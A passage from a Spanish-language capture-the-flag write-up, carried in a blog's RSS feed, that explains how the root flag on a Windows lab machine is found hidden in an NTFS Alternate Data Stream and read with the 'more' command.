&lt;p&gt;Al ir al directorio del Administrador (&lt;code&gt;C:\Users\Administrator\Desktop&lt;/code&gt;), encontramos un archivo &lt;code&gt;hm.txt&lt;/code&gt; pero &lt;strong&gt;no está la flag&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;root.txt&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Al leer &lt;code&gt;hm.txt&lt;/code&gt;, nos da una pista sobre &amp;ldquo;mirar más profundo&amp;rdquo;. Esto hace referencia a los &lt;strong&gt;Alternate Data Streams (ADS)&lt;/strong&gt; de NTFS.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Concepto: ADS&lt;br&gt;
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-805d-be76-ec4dda663a85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="cómo-funcionan-los-ads"&gt;¿Cómo funcionan los ADS?&lt;/h3&gt;
&lt;p&gt;En un sistema NTFS, un archivo se identifica por el formato &lt;code&gt;nombre_archivo:nombre_stream&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Flujo estándar:&lt;/strong&gt; Cuando abres &lt;code&gt;archivo.txt&lt;/code&gt;, en realidad estás abriendo &lt;code&gt;archivo.txt:$DATA&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Flujo alternativo:&lt;/strong&gt; Puedes crear algo como &lt;code&gt;archivo.txt:secreto.txt&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="leer-el-contenido-del-flujo-oculto"&gt;Leer el contenido del flujo oculto&lt;/h3&gt;
&lt;p&gt;No se puede usar &lt;code&gt;type&lt;/code&gt; directamente sobre el stream. usamos el comando &lt;code&gt;more&lt;/code&gt; :&lt;/p&gt;
&lt;p&gt;&lt;code&gt;more &amp;lt; hm.txt:root.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Ahora si conseguimos la root flag!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item></channel></rss>